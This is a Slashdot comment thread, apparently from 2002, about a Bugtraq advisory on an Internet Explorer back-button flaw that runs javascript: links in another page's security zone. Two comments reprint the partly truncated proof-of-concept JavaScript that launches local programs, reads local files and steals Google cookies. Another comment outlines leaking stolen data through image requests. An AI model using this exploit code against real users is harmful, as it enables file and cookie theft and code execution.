Don't Hit That Back Button 756
Saint Aardvark writes: "From the Bugtraq mailing list comes this warning: 'Using the Back Button in IE is dangerous'. When hitting the back button, javascript links will be executed in the security zone of the last url viewed. Proof-of-concept included in the warning will execute minesweeper or read your Google cookies."
Go Mozilla! (Score:3, Insightful)
Take that, Microsoft.
Go Mozilla Anyways! (Score:4, Insightful)
Seriously, it's fast and its implementation of little things like CSS (which as far as I'm concerned is the future of online content) is light years ahead if IE anyways.
Then again, you might be interested to know that as of IE 5.5, IE was backported from the Macintosh version. That's right, the MS-IE-Mac-port team did it so much better that they backported it to Windows. That's where the speed and decent standards support came from!
I think that this goes to show that Microsoft doesn't re-write something from scratch on purpose. They had to force their Mac team to basically do so (because, like, it's IE not on Windows, you have to redo a bunch of stuff) before they figured out that they needed to reimplement. The sad thing is that they don't seem to be willing to do it where it counts, no matter how "security focused they become" they don't ever figure out that it's impossible to effectively rewrite Windows "a piece at a time".
Re:Go Mozilla Anyways! (Score:2)
Change the hand cursor-shape in 9x's Control Panel (Score:2, Informative)
I want Mozilla to give me the netscape finger.
Mozilla gives you the system finger cursor-shape when you :hover over a link. If you want Mozilla to give you the Netscape finger, or even the middle finger, you can select any .cur file in Start > Settings > Control Panel > Mouse > Pointers.
On a (somewhat) related topic... (Score:4, Interesting)
yearning for the past (Score:4, Insightful)
When a webpage wasn't something you had to figure out how to escape...
When 'Back' meant back...
When there was just smooth uninterrupted navigation, and no pop-ups or banners...
When people could say pretty much say anything anywhere, no DMCA...
... remember that?
Re:On a (somewhat) related topic... (Score:5, Funny)
Which is exactly what you want because this generates an onunload event. At which point you can open a new window, which should preferably load a pop-under window, which has a hidden Flash object that plays a very loud siren.
Then when the user moves the mouse cursor outside of the window, you maximize the window and load a duplicate pop-under, which also plays the siren. Because although one siren is good, two sirens are better.
Now that you start getting the attention of the user, you load a full screen pop-up window, without borders, and in this window you will load an images to make it look exactly like a browser.
In the meantime the volume on the (hidden) Flash players should have increased to the absolute maximum, and you could even consider switching one over to a screaming cat. (Obviously the onunload handlers for the pop-under windows should open AT LEAST two pop-under of similar quality.)
Back to the front page,- now that you have full control over the browser look and feel, you can conveniently move any 'close' or 'back' buttons out of the way as soon as the mouse pointer gets too close.
At this point in time, you have increased the chances of getting a credit card number out of the user significantly, so it's up to you to present the user with the ability to enter their information.
The best way to achieve this is to just have the text box that you want filled out follow the mouse. Not all users are very smart, so keep what you want done obvious.
Once the information is obtained, change the page to read something among the lines that the user should absolutely NOT attempt to do anything, but most of all, not close any windows!, because his credit card may be charged twice.
After a last check that all pop-unders with screaming Flash players are still going strong, you are now done.
Re:On a (somewhat) related topic... (Score:2, Informative)
For a concrete example of problems w/ the back button, check out acmemail. It's a cool webmail client, uses perl and pop3, but if a user clicks back, usually after reading a message and wanting to get back to the message list, it will cause strange problems and eventually auto-log them out. It took a long time to teach the outside sales staff at work that you just need to click the "inbox" button instead of back, and to this day every time there is a meeting they mention that webmail is broken, then I check it out, find out they're using back, and explain the solution. Then the next meeting comes and it's square one all over again...
Re:On a (somewhat) related topic... (Score:2, Insightful)
Re:On a (somewhat) related topic... (Score:4, Insightful)
Re:On a (somewhat) related topic... (Score:3, Interesting)
One reason I love Opera (Score:5, Informative)
Opera [opera.com] cured that problem quite effectively. Since I started using it as my main browser, I can't remember finding a page where back wouldn't work properly. It ignores scripts that try to take it over, and it tracks documents-in-frames properly too, you can go forward and back independently in different frames on framed pages.
Omniweb --- Semi-Related (Score:3, Interesting)
Java's been crashing IE of late (Score:2, Insightful)
http://arizona.diamondbacks.mlb.com crashes both IE6 and IE5.
I don't know why. Could be the address it crashes at has a hardware problem on my machine. But why is java poking around my hardware?
Java is insecure, Windows is insecure, the Internet is insecure, and everyone using them has always known that.
--Blair
Re:Java's been crashing IE of late (Score:2)
Redirects to http://arizona.diamondbacks.mlb.com/NASApp/mlb/ar
Re:Java's been crashing IE of late (Score:3, Insightful)
Re:Java's been crashing IE of late (Score:5, Informative)
I think your reffering to JavaScript orginally called livescript by Netscape before the Java buzz hit. JavaScript has nothing to do with Java. Java is relatively secure by most standards. [sun.com]
First LiveScript, then JavaScript, then ECMAScript (Score:3, Informative)
I think you're referring to ECMAScript formerly called JavaScript
First it was LiveScript, then when "Java" became a buzzword, Netscape changed its syntax to resemble that of a brace language (C, Perl, or the Java programming language) and changed its name to JavaScript. "ECMAScript" is the generic name, created when the underlying language [wikipedia.com] (without any specific DOM) was submitted to the European standards body ECMA; "JavaScript" is Sun's trademark licensed to Netscape, reflected in the media type for ECMAScript source code (text/javascript).
Re:Java's been crashing IE of late (Score:2)
Re:Java's been crashing IE of late (Score:2)
This doesn't worry me. (Score:4, Funny)
Re:This doesn't worry me. (Score:2, Funny)
How far can you exploit this? (Score:3, Interesting)
RTFE (exploit) (Score:5, Informative)
You do not need to actually press the button, but you need to do it from a trusted page.
How about from a frame? (Score:2)
Proof-of-Concept (Score:2, Redundant)
<h1>Press link and then the backbutton to trigger script.</h1>
<a href="javascript:execFile('file:///c:/winnt/syste
Run Minesweeper (c:/winnt/system32/winmine.exe Win2000 pro)</a><br>
<a href="javascript:execFile('file:///c:/windows/sys
Run Minesweeper (c:/windows/system32/winmine.exe XP, ME etc...)</a><br>
<a href="javascript:readFile('file:///c:/test.txt')"
Read c:\test.txt (needs to be created)</a><br>
<a href="javascript:readCookie('http://www.google.co
Read Google cookie</a>
<script>
// badUrl = "http://www.nonexistingdomain.se";
badUrl = "res:";
function execFile(file){
s = '<object classid=CLSID:11111111-1111-1111-1111-11111111111
s+= 'CODEBASE='+file+'></OBJECT>';
backBug(badUrl,s);
}
function readFile(file){
s = '<iframe name=i src='+file+' style=display:none onload=';
s+= 'alert(i.document.body.innerText)></iframe&g t;';
backBug(badUrl,s);
}
function readCookie(url){
s = '<script>alert(document.cookie);close();< "+"/script>';
backBug(url,s);
}
function backBug(url,payload){
len = history.length;
page = document.location;
s = "javascript:if (history.length!="+len+") {";
s+= "open('javascript:document.write(\""+payload+"\")
s+= ";history.back();} else '<script>location=\""+url
s+= "\";document.title=\""+page+"\";<"+"/script> ';";
location = s;
}
</script>
</html>
Unfair to release the advisory before fix... (Score:5, Funny)
If MS had acted... any number of times... (Score:5, Informative)
If MS had responded back in November when he made the sploit known, or if they had even thought once about security when designing IE, or if they had any kind of decent security model in the OS, or, or, or... then this never would have happened in the first place and MS wouldn't have to patch the barn door after the horse had left. But don't blame the guy who discovered this by trotting out that "don't tell anyone about the security hole until the vendor can fix it" pablum. Security through obscurity isn't, especially when that obscurity is driven my the needs of the marketing group.
You find a hole, you do due dilligence, they don't respond (he gave them months to fix it fer cryin' out loud), you publish. Then, most likely, the vendor publishes a fix based on the real needs of users and not the perceived needs of some business unit looking at a bottom line.
It boggles my mind that one could have a machine rooted simply by browsing the web. A die-hard MS nut at work today was giving me grief over the fact that Red Hat has "published" 500MB of "updates" to "Linux" since version 6.2 and how could the OS be so insecure as to need that many updates... I didn't even have the energy to respond. And I'm all for people running with whatever works for them, but at least I know for a fact that Opera on my machine runs in userland and won't get me rooted. And hopefully, using your favorite browser won't mean data loss and/or a re-image of the OS as well.
But to blame the guy who discovered it? I mean, honestly, for fsck's sake: we're talking about a web browser, you know? Completely compromising a machine via a back button? And it's been known for five months?!? At least MS could tell users to run another browser until they can fix the issue. Or turn scripting off. Or whatever. The fact that it could happen in the first place is just obscene. Or criminal. MS leaves a bad taste in my mind sometimes...
-B
Re:If MS had acted... any number of times... (Score:2)
Remember these two words. "Trustworthy computing".
*laugh* *laugh* *sob* *sob* *bang* (putting pistol to head, and pulling the trigger, rather than have to support M$ products)
Yes, I know. (Score:2)
Yes,I saw the joke. I liked it too. I just used your post to vent something that's been bugging me for a long time. Your post was the minor imperfection on the beer glass of the world which allowed the seed of my thought to find purchase and rise to the surface as a big festering bubble of disgust. How very Zen. I think I'll go write Haiku...
Seriously, though, I once had to spend a week testing alternate browsers so that I could develop a test plan to replace IE on the machine in our NOC (after one of them got rooted when an operator was browsing warez and pr0n sites). I'm bitter about IE. And I had a nasty day at work (wrestling with CorporateTime's horrible attempt at an API, if you must know) so I had to vent. And for that I must thank you. I feel much better without all that painful gas pressure.
-B
Re:They did act (Score:2)
Maybe the "Act" they performed was mostly theatrical.
Re:If MS had acted... any number of times... (Score:2)
Actually, I meant it the way it was spelled. And now that I look at it, dictionary.com has different ideas about what pablum [dictionary.com] and pabulum [dictionary.com] mean. But I meant insipid, yes.
In reply to the content of your comment: I'm not too great on my NT security, but I understand (from my own experimentation) that IE (at least parts of it) runs in the "system" context under win2k. Is this true? Does anyone care to explain why this is necessary? Why does it require elevated privileges?
I dunno. The last MS OS I actually installed and used for any length of time was Windows98SE. I've used Win2k and XP very briefly, and I had an NT4 machine at work for a while. So I'll have to guess:
Since IE is "part" of the OS, it must be able to interact with various underlying system calls outside the confines of any normal security model? Some Win32 pigs are more equal than others? Surely MS gives other developers similar hooks through their DevNet program...
-B
Test it out if you have IE (Score:5, Informative)
This is a very troubling security hole for Windows users who prefer IE (99.7% of them).
Founder, monolinux [monolinux.com]
Re:Test it out if you have IE (Score:2, Funny)
Re:Test it out if you have IE (Score:2, Funny)
Same with ie on wine. When I pressed back it just gave me a segfault....much better. :-) truth.
by the way, the 'please close all aplications and restart your computer' error window really cracks me up when the app was run under wine in the first place.
Re:Test it out if you have IE (Score:3, Interesting)
That's what I love about using Win4Lin:
"Windows needs to restart in order to complete your request to change the default window frame color. Press OK to restart."
I press OK, and Win98 "reboots" in 7 seconds flat.
Re:Test it out if you have IE (Score:2)
One of the advantages of having Windows 2000 installed on drive D (except for the fact that I have a rather outdated install of Win98SE on drive C; gotta get rid of that one of these days).
What bothers me is that it still worked even after I changed the default security level for Local Intranet to High (maximum)...
Re:Test it out if you have IE (Score:3, Informative)
That's because this doesn't work off local intranet, it works off local hard drive; files on your hard drive are automatically ran without safeties, and MICROS~1 does not offer any option to change this.
Re:Test it out if you have IE (Score:2)
ObJoke, quoted from bugtraq:
"Workaround: Disable active scripting or [!!]never use the back button.[!!]"
Re:Test it out if you have IE (Score:4, Funny)
Re:Test it out if you have IE (Score:2, Informative)
Re:Test it out if you have IE (Score:2)
Re:Test it out if you have IE (Score:2)
Win 95B (patched), IE 5.5 -- Worked using a modified path C:/Windows/winmine.exe
(Yes, that's Windows 95. I prefer it.)
Re:Test it out if you have IE (Score:2)
Re:Test it out if you have IE (Score:2)
Re:Test it out if you have IE (Score:2)
Re:Test it out if you have IE (Score:2)
Re:Test it out if you have IE (Score:2)
Re:Test it out if you have IE (Score:2)
#1 and #3 worked. #2 didn't do anything. #4 brought me to the Google web page.
Re:Test it out if you have IE (Score:2)
So, unless it's fixed in IE 6, and I see no evidence of this, then this is not something that Microsoft has addressed yet.
Re:Test it out if you have IE (Score:3, Informative)
This vulnerability affects applications which integrate IE functionality!
Gamespy [gamespyarcade.com] "GameSpy Arcade is the #1 online gaming service... Support for over 300 of the leading games and demos".
-
Re:Test it out if you have IE (Score:2)
Re:Test it out if you have IE (Score:3, Informative)
Re:Test it out if you have IE (Score:2)
Re:Test it out if you have IE (Score:2)
My company's solution to IE (Score:4, Interesting)
Back in 1999, when the dot-coms were flying high and my company resembled an Internet startup (although we had been in business since 1992), we hastily set up new offices and cubicles with little regard for information security. After all, what was the worst that could happen - an email worm? Well, we quickly found out: a malicious hacker had targeted our company, and sent an email to "all @" my domain containing a link to a supposed Yahoo News story. Unfortunately, this link sent the employees to a malicious site that caused their insecure IE browsers to yield control of nearly every Windows PC in the company to the intruder. They stole and destroyed much important data, and took over a week of nonstop unpaid overtime to fix things.
A few weeks after the incident, our vice president of operations mandated a Mozilla-only policy. Employees were forbidden from running IE, Lynx (another notoriously insecure browser), and Konqueror (which crashed constantly anyway). Since that time, we have had zero browser related security issues, and employees waste far less time surfing the web, mainly because a lot of time-wasting sites only work in Microsoft standards-compliant browsers. Converting to Mozilla has been a win-win situation, and I fully expect the same to be happening across America after this latest IE security breach. Enough is enough; we need to take back control of our networks.
I wouldn't hedge my bets on Mozilla so blindly. (Score:2, Informative)
For those not aware of his problem, here's a synopsis. Mozilla will parse a URL of the form "data:content/type;encoding,rawdata and treat it as a file of the type given. For example, the URL "data:text/html;identity,<meta http-equiv="refresh" content="0;http://www.google.com/">" will create an HTML page that will immediately shunt you to google.com. Open up Mozilla and paste that URL in if you don't believe me. Using an encoding type of "base64", images, data files and even executables can be hidden inside a URL. Trolls have already exploited this [slashdot.org] numerous times for mundane things like embedding goatse.cx links; imagine if some malicious hacker were to design a page with a trojan .exe or shellscript embedded in an innocuous-looking URL!
While "data:" URLs can be filtered out with Proxomitron or avoided by careful scanning of the status bar before clicking any link, I think such a glaringly wide target for abuse doesn't belong in any project past the alpha-test stage, much less one that is getting ready to make a highly-publicised 1.0 release in the upcoming weeks. Until this hole is patched, I would recommend Konqueror to you. It no longer "crash[es] constantly anyway", as you put it; the 3.0 release is incredibly stable, supports made-for-IE sites much better than Moz, and also has more than adequate standards support. I would suggest rethinking your Mozilla deployment strategy and giving Konq another go.
Is there a real exploit here? (Score:5, Insightful)
It's only a security hole if delivering the content via the data URL is treated differently than getting it via an http, ftp or javascript one.
Re:Is there a real exploit here? (Score:3, Informative)
See how the script calls an alert() with the contents of a local file from your drive? Thats very very bad.
If a remote script can read a file off your hard drive, it can then write bits of data into an img tag on the page, passing your stolen information to a remote server (via the image's src element) without your knowledge. Very very bad.
Trolling, or just blind stupid? (Score:4, Insightful)
I'm not sure whether you actually believe you've found a vulnerability, or are just trolling for Konqueror; either way, it illustrates the weakness of
Re:I wouldn't hedge my bets on Mozilla so blindly. (Score:2, Informative)
This code is kept in the Internet Zone, so you can't be as malicious as you'd like. It does make an HTML page w/ whatever you put.
Re:My company's solution to IE (Score:2, Insightful)
Frankly I love Mozilla, (especially with the Pinball theme). It has a great interface, and has become quite stable. However from a security standpoint it is still up in the air as to how secure it will be.
Mozilla has a bright future. I would like to see it replace explorer as well IE. It would really screw Microsoft to lose the UI along with the browser.
Re:My company's solution to IE (Score:3)
This catch anyone's eye? (Score:4, Insightful)
That's pretty long time (5-6 months, too lazy to figure out the actual number of days etc.) that Microsoft has done nothing (at least not a fix). Especially because this overlaps the time when they decided to make their people go to security workshops (or some such). If they can't even fix a known, reported bug in the security how can they find them on their own and fix them? Or not write them in the future?
Oh yeah, it'd be nice to know if I can get around this by doing "right-click" / "back" or if that is affected and not JUST the toolbar.
Re:This catch anyone's eye? (Score:3, Insightful)
Well that links in well with the memo Bill Gates sent [wired.com] on January 15th. What was it he said?
"We have done a great job of having teams work around the clock to deliver security fixes for any problems that arise. Our responsiveness has been unmatched
Hmm - that was before the new emphasis on security
"If we discover a risk that a feature could compromise someone's privacy, that problem gets solved first."
Given those comments, how can they not have done anything about this? Doesn't sound like a fundamental problem that would take a massive effort to fix.
Re:This catch anyone's eye? (Score:3, Funny)
Re:This catch anyone's eye? (Score:2)
People are reporting that with fully-patched IEs they are still seeing this. I'd suggest you double-check.
Back buttons (Score:3, Funny)
Re:Back buttons (Score:2)
A complete list (Score:2)
Re:A complete list (Score:5, Funny)
Yes there is, and you're looking at it right now.
Re:A complete list (Score:4, Informative)
* javascript: URLs run in the security domain of the page from which they originate. (Or, if they're stored in the user's bookmarks, they run as part of the current page, letting them do cool things [squarefree.com] like show the HTML source of the selection.)
* If a javascript: URL returns a non-null value, it acts like a data: URL. For example, javascript:1+2;3+4 is equivalent to data:text/html,7. (Most of the time, this is just an annoyance, forcing you to put "void 0" at the end of a javascript: URL unless you're sure that the last calculation always returns null.)
* It is possible to go "forward" from a javascript: URL.
* The Back button incorrectly runs a javascript: URL in the security domain and context the current page instead of running it with no context or with the context of the page that put the URL in session history.
The fact that the bug was present in both IE and Mozilla until Mozilla 0.9.3 is strong evidence that the hole is not an obvious "dumb ass bug". I only discovered the hole because I make bookmarlets (javascript: URLs) in my free time and was being paid by Netscape to work on Mozilla security last summer.
Re:A complete list (Score:2, Insightful)
So the bug went from 'subtle' in November to 'dumb ass' today because the lackwits in Redmond completely ignored it - hence the label. As in, "only a dumb ass would ignore this bug".
Max
Makes it easy to explain M$ vs. Free Soft (Score:2)
Free Software ought to get better press from this, as it underscores a major truism.
In Free Software, new versions are generally made and released due to added functionality or fixed bugs. Anything else is a waste of time for the programmers, right?
With the exception of a very huge vulnerability that was finally fixed with IE SP2 (though who knows what else that contained), new software versions from Microsoft seem due to an entirely different set of reasons, like:
- breaking more fledgling standards
- making news
- embracing/extending
- press releases
- etc
yay for NAI (Score:4, Interesting)
my McAfee VirusScan already checks for this bug.
Reply (Score:2)
Used to be in Mozilla (Score:4, Interesting)
Anyway, keep using that Back button. If you're using IE to browse warez/porn, you have more to worry about than someone looking at your cookie for another site. An attacker could just copy the IE exploit of the week from
http://jscript.dk/unpatched/ [jscript.dk]. I believe that page has had current IE security holes that allow running arbitrary instructions for two months straight. (That means you can keep up with the latest IE patches, but if an attacker reads jscript.dk and can get you to click a link in AIM or read a message in OE, the attacker wins.)
By the way, what's with IE turning every cross-domain hole into a full remote compromise by letting sites link to res: urls? Current versions of Mozilla block links to chrome/res and even file, so a cross-domain hole doesn't even let sites read local files.
Quick patch for the bug (Score:5, Funny)
1. Right click the toolbar, and select "Customize"
2. Select "Back" in the list marked "Current toolbar buttons"
3. Click the "Remove" button.
4. Click close.
There! Now that bug has been squashed. I suggest you implement this in all corporate deployments of IE pronto.
Re:Quick patch for the bug (Score:3, Funny)
The more I know about windows... (Score:2)
maybe it's the fix we got today, though
Now if only all porn site admins would.... (Score:5, Funny)
<a href="javascript:execFile('file:///c:/winnt/syste
heh (Score:5, Funny)
Re:heh (Score:2)
Good thing security is MicroSoft's number one focus now!
You made a funny. In all seriousness, does anyone have a pointer to Microsoft's summary of its audit activities in the month of February? Did they ever issue a press release trumpeting its accomplishments during the month of intense review?
I'm not looking to bash, I just want to know what they managed to accomplish. Near as I can tell, the only benefit to me was a series (three?) of Internet Explorer patch roll-ups. Anyone have a fuller clue?
WORK AROUND! (Score:2)
Step Two: Use the mouse button you have configured to bring up the context menus. On most systems this will be the right mouse button and is often refered to as "Right Clicking".
Step Three: From the context menu select the option CUSTOMIZE...
Step Four: In the Customize Toolbar window will be two boxes full of items. Use the scroolbar to browse the contents of the right-most box and look for the button that says "BACK". Highlight the "BACK" button item.
Step Five: FNORD
Step Six: Press the REMOVE button between the left and right item boxes.
Step Seven: Press the upper right most button marked "CLOSE".
Your browser should now be immune to this exploit. Share and Enjoy.
Works in IE 5.5 (Score:2)
IE 5 for Mac OS X bug!!! (Score:5, Funny)
Important Mac OS X IE v5.1.4 Update!!! (Score:2)
This latest version - version 5.1.4 - resolves all potential security vulnerabilities in previous versions of Internet Explorer 5. This includes vulnerabilities that might have caused Internet Explorer to stop responding or caused a memory problem that compromised the security of the computer.
However, I rechecked the back button bug that Mac OS X users experience where minesweeper will not launch on the test pages. Mac OS X IE v5.1.4 does not resolve the user experience issue for Mac users.
This is a major one ,, user interaction not needed (Score:5, Informative)
----cut here---
Press link and then the backbutton to trigger script.
Run Minesweeper (c:/winnt/system32/calc.exe Win2000 pro)
Run Minesweeper (c:/windows/system32/calc.exe XP, ME etc...)
Read c:\test.txt (needs to be created)
Read Google cookie
// badUrl = "http://www.nonexistingdomain.se";
badUrl = "about: ";
function execFile(file){
alert (badUrl);
s = '';
backBug(badUrl,s);
}
function readFile(file){
s = '';
backBug(badUrl,s);
}
function readCookie(url){
s = 'alert(document.cookie);close();';
backBug(url,s);
}
function backBug(url,payload){
len = history.length;
page = document.location;
s = "javascript:if (history.length!="+len+") {";
s+= "open('javascript:document.write(\""+payload+"\")
s+= ";history.back();} else 'location=\""+url
s+= "\";document.title=\""+page+"\";';";
location = s;
}
---cut here---
Stupid is as stupid does. (Score:3, Informative)
Ever since we have had the option I have used the built in security functions of IE. Tools/Internet Options/Security
Turn off everything for your internet zone. Add all your sites that you visit regularly to "Trusted Sites" and enable all the bells and wistles you want.
If a site breaks because they have not done simple checks to see if you have java script enabled then screw them and move on to a site that is run by someone who has an element of style and thoroughness.
Here is a wish list I do have for IE though. One power tool I have allows you to toggle images on and off with a click . I would like such a power tool that would enable/disable java script with a click and another to add trusted zones on the fly. If anyone out there has the coding capability I think you may have something.
Re:Stupid is as stupid does. (Score:3, Informative)
Unfortunately, you are vulnerable to this one.
The insidious thing about this bug is that it breaks your security model. When you press back, the page you go back to is run in the security zone of the page you go back from. So, even if block "everything" in the "Internet Zone" site, if the next page you visit is in your trusted zone and you press the back button, it will run ActiveX controls or pop up or whatever bells and whistles are allowed on the page you came from.
Furthermore, note that Internet Explorer error pages (such a 404 Page Not Found) are automatically in the trusted zone. So, for you to be safe with your current policy, you need to do the following as well:
The problem is: it's a designflaw. (Score:4, Insightful)
It's easy to say "Crap!" but it takes a wicked mind to combine the right parts of the functionality of a program to create a hole, a mindset which is obviously not present under the IE designers. (but which should be though).
As a true microsoftie I more and more begin to realize that the bundling should be undone, so the set of functionality build into the webbrowser is simply focussed on what it should do: rendering pages.
Using another browser is not the answer however. The only browser that comes close to IE6 is Netscape/Mozilla, however these browsers are also packed with features you'll probably never need but CAN probably be used to create a hole when combined with other functionality in the program.
Re:Using Linux considered harmful (Score:5, Funny)
Q: Internet Explorer has a lot of security bugs. What do I do?
A: Install Mozilla.
Q: Windows has a lot of security bugs. What do I do?
A: Install Linux.
Q: Somebody cracked into my default installation of Red Hat 6.2. What do I do?
A: Didn't you RTFM? Everybody knows that you have to keep patching the system to keep people out of it! Why don't you go to Windows, dumbass?
Re:So... (Score:2)
Re:hm (Score:2, Insightful)
1)Bundled....people are sheep.
2)Bundled.....a lot of people dont have the band or the patience to do a lot of downloading (AOL users on dialup)
3)Bundled...on a corporate win2k desktop where the user just logins in and cant really install much in the way of software...see 1) s/pc support personal/people
-jef
Not really (Score:2)
2)Bundled.....a lot of people dont have the band or the patience to do a lot of downloading (AOL users on dialup)
3)Bundled...on a corporate win2k desktop where the user just logins in and cant really install much in the way of software...see 1) s/pc support personal/people
I don't really think so.
Up until recently (i.e. Moz and Opera maturing in to decent browsers) IE was the best game in town, it was just an added bonus that it came bundled.
Netscape 4.x has been a joke since IE's renderer got good (around 4.5, I'd say), and Netscape 6.0 release bugs scared a lot of people off.
Most people have never even heard of Opera.
However, if the new browsers keep improving, and IE holes keep appearing with this kind of severity, I can see people downloading other browsers, just like they used to.
But really, until late last year, IE, in all it's mediocrity, was still the best for most people's browsing.
It's reasonably stable, reasonably fast and renders pages reasonably well.
There was no incentive to switch to something either obselete (old Netscape), slow (new Netscape), buggy (Mozilla), or pretty much unknown (Opera).
There might be now.
C-X C-S
Re:Not really (Score:2)
...becuase its bundled...
http://www.m-w.com/cgi-bin/dictionary
sheepish
1 : resembling a sheep in meekness, stupidity, or timidity
stupidity
1 : the quality or state of being stupid
stupid
4 a : lacking interest or point
incentive
: something that incites or has a tendency to incite to determination or action
synonym see MOTIVE
motive
1 : something (as a need or desire) that causes a person to act
You say
"There was no incentive to switch"
I say
Bundled...people are sheep
lets call the whole thing off.
-jef
Re:hm (Score:4, Informative)
Get a newer version of mozilla and go into preferences/advanced/scripts and windows.
Turn off the "open unrequested windows" tickbox. Bingo. You now have to click a link before the popup/under will open. Sites can't open them for you.
Re:What are the odds... (Score:5, Informative)
Read, people... Read, then make comments. It's not that difficult.
Re:What are the odds... (Score:2)
Re:The simple solution (Score:2)
-clee